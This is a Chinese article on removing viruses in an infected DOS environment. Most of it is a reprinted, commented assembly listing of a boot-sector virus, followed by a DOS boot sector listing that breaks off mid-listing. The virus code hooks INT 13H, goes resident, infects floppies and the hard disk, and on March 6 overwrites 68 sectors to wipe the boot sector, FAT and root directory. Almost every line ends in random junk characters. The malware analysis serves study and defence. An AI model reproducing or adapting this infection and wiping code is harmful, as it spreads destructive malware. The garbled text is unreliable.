近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 fQ~~%#z1
?? BpA7
z /
?? 一 、 带毒环境下检测清除病毒的意义 KD#zsL)3
?? >;G_o="X
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 L`M{bRl+1
?? !(bYh`Uy
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 ui8$ F
"I*
?? ;Uch
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 C,;<SV2#
?? @B{
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 bL<H$DB6
?? r|Uz?
?? 二 、带毒环境下检测清除病毒的原理 J-=fy^S5
?? 7oLl RU
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 <2j$P Y9
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 5Qg*j/z?
nS$4[!0
b7xOm"X,N
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " >*/
|tL
病毒体: t`&mszd~T
JMP 01AF ;JMP到01AF s7E %Et
DB 00 ;病毒标计 K&._fG
DW 00F5 ;此为搬到高位址后,远程跳转指令 Pi[]k]XA\
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX q:vN3#=^qf
DB 02 hTAc}'^$
DW 0003 ;此为软盘识别标记,硬盘为0007 $igMk'%Nmb
DW EC59 ; ZK{1z|
DW F000 ;INT 13H的原入口 w2 (}pz:
. QN;NuDHN
. &VjPdu57
. 3|e~YmZx
. 9&kY>M>z0
. :1'1n
XOR AX,AX ;清除AX x2~fc
MOV DS,AX; ;让DS=0000 r_ 9"^Er
CLI ;清I标志积存器 'lC=k7@x
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 (
K-7z
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 o}36bi{
MOV SP,AX ;开机时为0000:7CB6 z4.|N
STI ;设I标志积存器 8oHIXnK
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A mFpj@=^_G
PUSH AX ;用RETF,把程序转到引导或分区表位置 y54RD/`-
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 -[=@'NP
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 LUx'Dm"
MOV AX,[004E] ;取INT 13H的段地址 %LdBO1D0
MOV [7C0C],AX ;存到010C VKXB)-'L
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 "
d~M\Az
;读写以便传播发作 r+]a
BR6HD7G
MOV AX,[0413] ;取得内存K数,放在AX WVyq$p/V
DEC AX ; ?fU{?nI}>p
DEC AX ;减2k内存 Zjc/GO
MOV [0413],AX ;存回,通常是638K $ ga,$G
MOV CL,06 ; 8/"uS ;yP
SHL AX,CL ; qyE*?73W
MOV ES,AX ;算出减2K后病毒本体的位址 R $/q=*k
MOV [7C05],AX ;AX存入0105 ,^iT,MgNNf
99zMdo S
;病毒常用手法将系统高段内存减少以便驻留 10dK%/6/O
;这样可以免于被其他程序覆盖 MmfshnTN
/KiaLS
MOV AX,000E ;病毒拦INT 13H +ZwTi!W
;ISR起始的偏移量 EA:_PBZ
MOV [004C],AX ; s0Y7`uD^
MOV [004E],ES ;设原为病毒的INT 13H 4mGRk)hk:>
MOV CX,01BE ;病毒长度为1BE ,({%t
MOV SI,7C00 ;从JMP 01AF开始 <p_2&&?
XOR DI,DI ;DI=0 |<YF.7r;
CLD ;清方向标志 Q>=/u-
REPZ; {=^<yK2q
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 usugjx^p
CS: ;分区表能载入0000:7C00正常运作 H'2o84$
JMP FAR [7C03] ;跳到为搬过后的位址 yK2>ou
XOR AX,AX ;清AX + L5
MOV ES,AX ;ES=0000 j,_{f =3;
INT 13 ;复位磁盘 FP6JfI8
PUSH CS ; fb]=MoiJ
POP DS ;让DS=CS 3v~}hV/RUy
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 dI,H:g
MOV BX,7C00 ;读到0000:7C00 G~lnX^46"
MOV CX,[0008] ;硬盘第0道,第7扇区 a'G[!"
CMP CX,+07 ;比较是否从硬盘启动 [/cJc%{N
JNZ 0213 ;不是跳0213 d/?0xL W
MOV DX,0080 ;第一硬盘C:第零面 K!88 Nox(
INT 13 ;用INT 13号中断,读 n*=Tm
KQ
JMP 023E ;跳023E比较日期,发作或正常开机 RCGpZyl
MOV CX,[0008] ;软盘0道,第3扇区 ~bjT,i
MOV DX,0100 ;A:的第0面 y3 S T"U
INT 13 ;INT 13读盘 U%2{PbL
JB 023E ;失败跳023E xl,?Hh%#
PUSH CS ^F"eHUg
POPES ;让ES=CS i;+<5_
MOV AX,0201 ; i\L7z)u
MOV BX,0200 ; M
w+4atO4[
MOV CX,0001 ; G>^ _&(c@2
MOV DX,0080 ; L!W5H2Mc
INT 13 ;读入C:的分区表到0200,以便下面比较 'Ya- ;5Y]
JB 023E ;失败跳023E n22OPvp
XOR SI,SI ;清SI Yceex}X*5
CLD ;清方向标志以便比较 7mS_Cz+cB
LODSW ;载入一个WORD到AX 0vz!)
CMP AX,[BX] ;比较有无病毒存在..E9AC H%Sx*|
JNZ 0287 ;没有则跳0287传染 Gc!&I+kd
LODSW ;载入一个WORD到AX ?rwHkPJ{*
CMP AX,[BX+02] ;再次确认..0000 H!g9~a
JNZ 0287 ;没有跳0287 zL:k(7E
XOR CX,CX ;清CX %t-}dC&
MOV AH,04 ; H`U>ZJ.
INT 1A ;取得日期 s[/)v:
CMP DX,0306 ;是否为三月六日 /%^^hr
JZ 024B ;是跳024B传染 Fc"+L+h@W
RETF ;把程序交还给引导启动完成 O6!:Qd
m3b?f B
步骤4:病毒INT 13代码分析 nqujT8
方法:U <dhBO
PUSH DS ;首先把要用到积存器 +?[iB"F
PUSH AX ;入栈保存 5NYYrA8,^
OR DL,DL ;比较是否为软盘 .`N&,&H
JNZ 002F ;如不是则退出传染 I*
JSb9r
XOR AX,AX ;AX=0 yi1V \8DC
MOV DS,AX ;数据代段=0 fL R.2vJ
TEST BYTE PTR [043F],01 ;比较是否为A盘 U[l{cRT
JNZ 002F ;不是则退出 cU=/X{&Om
POP AX ;将以上保存积存器 (@u"
POP DS ;弹栈恢复 |G>Lud
PUSHF ;压栈标志积存器 a`QKNrA2
CS: ;以便执行原INT 13 WPNvZg9*c
CALL FAR [000A] ;执行原INT 13 2k""/xMF'
PUSHF ;再次压栈 ,Z]4`9c
CALL 0036 ;以便跳转到传染程序 g(zoN0~
POPF ;跳转到执行传染 +QFY.>KH
RETF 0002 ;结束中断调用返回 T_?,?
POP AX ;恢复 ;!N_8{
7r
POP DS ;堆栈 q"^T}d d,
CS: ;跳转到原正常INT 13 V}"w8i+D?
JMP FAR [000A] ;地址执行 *}`D2_uP
TYr"yZ([
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 X6c ['Zrc
Uv/?/;si
步骤5:传染过程分析 9ioV R
方法:U ?t];GNU`l
对软盘传染过程: +QVe -
PUSH AX ;工 fxk6 q$'
PUSH BX ;作 DC%H(2
PUSH CX ;寄 FZhjI 8+,~
PUSH DX ;存 !_UBw7Zm
PUSH DS ;器 P&]PJt5
PUSH ES ;入 3P2L phW
PUSH SI ;栈 H;eOrX{GT
PUSH DI ;保存 f0lK,U@P
PUSH CS ;以压/弹栈方式 ns[Q %_
POP DS ;使数据段DS和 cn!Y7LVr
PUSH CS ;附加段ES均指向 k7Z1Y!n7
POP ES ;代码段CS ZnYoh/
MOV SI,0004 ;试4次 ;;l-E>X0
MOV AX,0201 ;设置各 |yow(2(F@
MOV BX,0200 ;积存器 <swYo<?J#
MOV CX,0001 ;为读软盘 [6t!}q
XOR DX,DX ;引导扇区做准备 #EdsB
PUSHF ;压栈标志积存器 ? v2JuhRe
CALL FAR [000A] ;正常的INT 13调用 !NFP=m1
JNB 0063 ;成功则转判断 4
U`5=BI
XOR AX,AX ;不成功复位 0?nm`9v6
PUSHF ;磁盘继续读 `JL&x|q o
CALL FAR [000A] ;如果4次 \a\ApD
DEC SI ;均匀不成功 .FXn=4l'vV
JNZ 0045 ;则退出跳转 DN;An0
{MK
JMP 00A6 ;退出传染 zmMz6\ $
XOR SI,SI ;SI=0以便用 C %o^AR
CLD ;LODSW读入软盘 +'!vm6
LODSW ;第1或第2字进行比较 V|8`]QW@
CMP AX,[BX] ;比较如果不包含病毒标志 UN*XLHio
JNZ 0071 ;则跳转写传染 #r_&Q`!eU
LODSW ;如果已有标志 Mw+8p}E
CMP AX,[BX+02] ;则退出 *6e 5T
JZ 00A6 ;传染子程序 d4zqLD$A
MOV AX,0301 ;为写盘准备 ^d2bl,1
MOV DH,01 ;如果是360K c,I|O'
&k
MOV CL,03 ;则写到1面0道3扇区 cU'^
Ja?%
CMP BYTE PTR [BX+15],FD ;比较软盘 C6C7*ks
JZ 0080 ;如果大于360K _n+./B
MOV CL,0E ;写到1面0道14扇区 #e8NF,H5
MOV [0008],CX ;写病毒标志到软盘 KzC`*U[
PUSHF ;调用原INT 13 [8QE}TFic
CALL FAR [000A] ;进行传染 pP6pn~}
JB 00A6 n7S~nk
MOV SI,03BE ;以下是将正常 Eo }mSd
MOV DI,01BE ;引导扇区从 MzsDDP+h
MOV CX,0021 ;1BE起的21字节内容 hVcV_
CLD ;搬移到病毒程序尾部 ( nH3
REPZ ;开始复制 U0:tE>3`
MOVSW `o~9a N
MOV AX,0301 ;写盘功能调用,写一个扇区 mmj6YQ0a
XOR BX,BX ;将病毒程序 isP4*g&%x
MOV CX,0001 ;写入软盘引导扇区内 IuQY~!
XOR DX,DX ;设置为软盘 SrVJ Q~:>
PUSHF jreY'y:
CALL FAR [000A] ;执行正常INT 13调用写盘 e/<Og\}P/
POP DI ;将 5'Fh_TXTD
POP SI ;工 !Z6GID})p
POP ES ;作 :!f1|h
POP DS ;寄 $fE$j {
POP DX ;存 M/,jHG8v
POP CX ;器 Px)/`'D
POP BX ;退 3Yd)Fm
POP AX ;栈 X>#!s Lt
RET ;返回调用处 QxmVImn"
对硬盘传染过程: 5!PU+9Kh
MOV CX,0007 ;第7扇区 m{bw(+r
MOV [0008],CX ;此处为硬盘引导标记 H[{ch t
h
MOV AX,301 ;写功能调用 <eq93
MOV DX,0080 ;设置为硬盘 0r+%5}|-K
INT 13 ;将正常引导扇区写到0面0道7扇区内 uz1t uX_
JB 13E ;失败则转 p&L`C|0
MOV SI,03BE ;原分区表地址 W1s4[rL!Ht
MOV DI,01BE ;目标地址 m"!!)
MOV CX,0021 ;整个分区表 :B<lDcFKJ
REPNZ 5"[Qs|VjA6
MOVSW ;开始复制 &OiJJl[9
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 l }?'U
;这样在分析着查看硬盘分区信息时仍能看到该部分 UEJX0=
;内容,以次来麻痹分析者 0FHX
MOV AX,0301 ;准备写病毒提进硬盘 TY,w3E_
XOR BX,BX ;病毒体位置 (,E.1j]ji
INC CL ;第一扇区 LV&tu7c
INT 13 ;开始写盘传染 G!54 e
JMP 013E ;转到13E处判断是否为3月6日,是则发作 PT|W{RlNl
SZCFdb
步骤6:破坏过程分析 L`ZH.fN
方法:U wL2d.$?TEg
主要分析对硬盘数据破坏: W)F2X0D>
. Vl!Z|}z
. ~mtL\!vaM
. J}coWjw`q
. <8Qa"<4f;
. _AQ :<0/#
MOV DL,80 t`DoTb4
MOV BYTE PTR[0007],04 '(kySf[
;准备写硬盘 )ll`F7B-
MOV AL,11 ;写17个扇区 h{]l?6`
MOV BX,5000 ti'a^(
MOV ES,BX ;从内存ES:5000中处开始写 &Q^M[X
INT 13 ;残不人睹
?R0sY
?u
JNB 0179 ;成功转179继续写 HzM^Zn57%
XOR AH,AH ejwFQ'wTx
INT 13 ;不成功复位磁盘继续 a`CsL Bv&
INC DH ;使写操作磁头加1继续? PCs+`
WP!M
CMP DH,[0007] ;比较是否小于0007单元值 [KR`%fD0
JB 0150 ;是则返回开始处继续写 8KD7t&H
XOR DH,DH ;DH=0 +gTnq")wnI
INC CH ;再加扇区 Pb.-Z@
JMP 0150 ;反回继续写 A8OV3h6]
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 x~}RL-Y2o
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 Q^8C*ekfg!
;和文件分配表。 er}/~@JJ
1dOVH7
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 4ow)vS(
读盘的时将自身写入磁盘。 u|\Lb2Kb:
引导过程如下: _.Y?BAQ
1>调整堆栈位置 ~)}npS;
2>修改并用修改后的磁盘参数表来复位磁盘系统 D:llGdU#2
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 P}H7WH
4>读入根目录表的首扇区 NrTQ}_3)
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS "7RQrz
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 VuFH
>8n
7>跳到0000:0700H处执行IO.SYS,引导完毕 Fk>/
003E FA CLI
b:>(U.
003F 33C0 XOR AX,AX z@$7T:H>
0041 8ED0 MOV SS,AX O'" &9
0041 8ED0 MOV SS,AX 8p7Uvn+m*
0043 BC007C MOV SP,7C00 ; 初始化堆栈
Xi5ZQo!t
0046 16 PUSH SS 3a_S-&?X
0047 07 POP ES ;(ES)=0000H V2%FWo|
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H _ 9Tv*@
004B 36 SS: ;(SS)=0000H x9
<cT'
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI ]]+wDhxH
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 :a3Pnq$]E
004F 56 PUSH SI ;取到后压入堆栈中保存 5A/G?
0050 16 PUSH SS 8|?$KLz?F>
0051 53 PUSH BX ;保存地址0000:0078H G7`7e@{
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 A[Juv]X
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 p,@_A'
0058 FC CLD u
Y/Q]NT
0059 F3 REPZ &`<j!xlG
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 8(D>ws$
005B 06 PUSH ES w@4q D
005C 1F POP DS ;(DS)=0000H ^l
~i >:V
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" S(Xab_DT)H
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" K3TMT Y<p
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" M=e]v9
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) w:&m_z#M
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 |qJQWmJO&U
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 X#-U
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 3t(nV4uDF
0072 7279 JB 00ED ;出错则转出错处理 ./)A6O*#
Xf9<kbRw/
; 下面一段程序计算扇区位置 KQ xKU?b1
0074 33C0 XOR AX,AX Uw5z]Jck
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 &?/h#oF@\
007A 7408 JZ 0084 ;为零表示大硬盘? #Z}\;a{vZ
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 ju(&v*KA
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 p}!rPd*
0084 A0107C MOV AL,[7C10] ;取FAT表的个数 Dq
Kk9s;6_
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 f5Zx:g
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) z![RC59S
008F 13161E7C ADC DX,[7C1E] ; 高位 BM1uZJ0
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) S?*v p=
0097 83D200 ADC DX,+00 ; (高位) N|T%cdh:/
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) qp^O\>c
009D 8916527C MOV [7C52],DX ; (高位) xRJv_=dT
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) wnP#.[,V
00A4 89164B7C MOV [7C4B],DX ; (高位) <Jo_f&&{
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 <n>Kc}c
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 FlRbGg^
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" q/?#+d
00B3 03C3 ADD AX,BX ;这两条指令是为了取整 WsQo+Ua
00B5 48 DEC AX 0eQyzn*98
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 rcPP-+XW
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) ;c_X
^"d
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) 0CQ\e1S,#
;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS 1Qtojph
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 &n6mXFF#>P
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) V(A6>0s$|
00C8 A1507C MOV AX,[7C50] ; (低位)
7<oLe3fbM
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 E:f0NV3"1
00CE 721D JB 00ED ;出错则转出错处理
Jt.dR6,
00D0 B001 MOV AL,01 q*\#HC
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) uv}[MXOP
00D5 7216 JB 00ED ;出错处理 ,+KZn}>
00D7 8BFB MOV DI,BX ;内存缓冲区的首址 s$:F^sxb
00D9 B90B00 MOV CX,000B ;比较11个字节 pRD8/7@(B{
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 "CB*
00DF F3 REPZ \('8_tqI"
00E0 A6 CMPSB ;看第一项是否为IO.SYS ( N~[sf?&
00E1 750A JNZ 00ED ;不是则出错 +y>D3I
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 eRD?O
00E6 B90B00 MOV CX,000B ;比较11个字节 A/,7%bB1
00E9 F3 REPZ wZ,9~P7
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS ^vLHs=<
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 q[nX<tO
.KGW#Qk8
;下面一段进行出错处理 _+S`[:;a
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." O$E3ry+?
00F0 E85F00 CALL 0152 ;显示字符串 ^UZEdR;
00F3 33C0 XOR AX,AX ~#&bDot
00F5 CD16 INT 16 ;等待任一键按下 +g<2t,
00F7 5E POP SI cnXIE{9M
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H Fa,a)JY>
00F9 8F04 POP [SI] 9Y- Sqk+
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容
mrX3/e
00FE CD19 INT 19 ;自举 bg*4Z?[dd
0100 58 POP AX G?{BVWtl}
0101 58 POP AX l&(,$RmYp
0102 58 POP AX ;清理堆栈 07DpvhDQ
0103 EBE8 JMP 00ED ;再次试图起动 |rka/_
8=FP92X
;下面读入IO.SYS的头3个扇区到内存0000:0700H处 KTD# a1W
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 "~9 !o"
0108 48 DEC AX ;WC]Lf<Z^
0109 48 DEC AX ;首簇号减二 29
L~SMf
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 7@$Hua,GY
010E 32FF XOR BH,BH KcglpKV`
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 E5UI
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 Xa.Qt.C
0116 13164B7C ADC DX,[7C4B] p\wE})mu
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 # nwEF QA
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 **d3uc4y
0120 50 PUSH AX ;逻辑扇区号进栈(低位) lV:R8^d
0121 52 PUSH DX ; (高位) %'nM!7w@I
0122 51 PUSH CX ;循环计数器进栈 ^<'5 V)
0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号 V{p*N*
0126 72D8 JB 0100 ;出错处理 + O=wKsGD
0128 B001 MOV AL,01 F``$}]9KHD
012A E85400 CALL 0181 ;读一个扇区到内存缓冲区 OWxYV$
012D 59 POP CX ;循环计数出栈 E'?yI'~=
012E 5A POP DX t?L;k+sMM
012F 58 POP AX ;逻辑扇区号出栈 %kS +n_*
0130 72BB JB 00ED ;读盘出错处理 U,yU-8z/
0132 050100 ADD AX,0001 3XYCtp8
0135 83D200 ADC DX,+00 ;下一个扇区 Ra}%:
0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小 \C5 YVl#
013C E2E2 LOOP 0120 ;循环读入三个扇区 k)UF.=$d
013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS k, &